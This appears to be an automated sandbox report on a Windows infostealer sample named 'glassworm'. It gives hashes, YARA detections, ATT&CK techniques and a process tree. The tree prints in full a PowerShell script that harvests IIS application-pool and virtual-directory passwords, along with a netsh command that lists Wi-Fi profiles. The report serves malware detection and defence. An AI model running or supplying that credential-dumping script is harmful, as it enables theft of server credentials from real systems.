Analysis
- max time kernel
149s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20260911-en - resource tags
arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
11/11/2026, 19:06
Behavioral task
behavioral1
Sample
2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe
Resource
win11ltsc2024-20260911-en
General
- Target 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe
- Size 2.8MB
- Sample261111-xsbmdsbe93
- SHA256 1c0740c84a7ba4b905f973c33de14d26ec71d2ee4f66ccae58a3a94a82ce478b
- MD5 d33d82a7a80a09643378203a50725c63
- SHA1 36f101465fd671fd2d0864d54f66330f9f027e91
- SHA512 13cd4267098ea386eb54fd9124bce21f77bf9a41453694a9599326cedf9e33fb3d01ace8c64aadbba8effa9eaebf6fdc0977aac3f0c02410ac92c851fa05cee8
- SSDEEP 49152:k4KrGluRNC0QasL0Dp2XgOA0QasL0Dp2Xg:k4KrGlunFwF
- TLSH T1FFD538017BE84F25E1BB4B75A830611456B3F95AEB32C78D324C42391FB37849EA176B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Detects PEASS hacktool 1 IoCs
resource yara_rule behavioral1/memory/4852-0-0x00000268318A0000-0x0000026831B78000-memory.dmp family_peass - Custom signatureDetects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
resource yara_rule behavioral1/memory/4852-0-0x00000268318A0000-0x0000026831B78000-memory.dmp INDICATOR_SUSPICIOUS_EXE_SQLQuery_ConfidentialDataStore - Custom signatureDetects executables containing URLs to raw contents of a Github gist 1 IoCs
resource yara_rule behavioral1/memory/4852-0-0x00000268318A0000-0x0000026831B78000-memory.dmp INDICATOR_SUSPICIOUS_EXE_RawGitHub_URL - Custom signatureDetects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs
resource yara_rule behavioral1/memory/4852-0-0x00000268318A0000-0x0000026831B78000-memory.dmp INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID - Custom signatureDetects executables referencing many IR and analysis tools 1 IoCs
resource yara_rule behavioral1/memory/4852-0-0x00000268318A0000-0x0000026831B78000-memory.dmp INDICATOR_SUSPICIOUS_References_SecTools - Custom signatureDetects executables referencing many confidential data stores found in browsers, mail clients, crypt 1 IoCs
resource yara_rule behavioral1/memory/4852-0-0x00000268318A0000-0x0000026831B78000-memory.dmp INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store - Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Checks whether UAC is enabled 1 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe - Enumerates connected drives 3 TTPs 1 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\F: 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe - System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 2260 netsh.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe - Suspicious behavior: EnumeratesProcesses 39 IoCs
pid Process 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 2936 powershell.exe 2936 powershell.exe - Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe Token: SeDebugPrivilege 2936 powershell.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4852 wrote to memory of 2260 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 97 PID 4852 wrote to memory of 2936 4852 2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe 99 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe"C:\Users\Admin\AppData\Local\Temp\2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe"1⤵
- Checks whether UAC is enabled
- Enumerates connected drives
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4852 -
C:\Windows\SYSTEM32\netsh.exe"netsh" wlan show profiles2⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:2260
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" # Check if appcmd.exe exists if (Test-Path ('C:\Windows\system32\inetsrv\appcmd.exe')) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add('user') $Null = $DataTable.Columns.Add('pass') $Null = $DataTable.Columns.Add('type') $Null = $DataTable.Columns.Add('vdir') $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list apppools /text:name' | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.username' $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.password' $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name' | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:userName' $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:password' $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline #$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique $DataTable | Select-Object user,pass,type,vdir,apppool } else { # Status user Write-host 'No application pool or virtual directory passwords were found.' } }2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2936
-
Network
MITRE ATT&CK Enterprise v16
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qwviey10.z1w.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH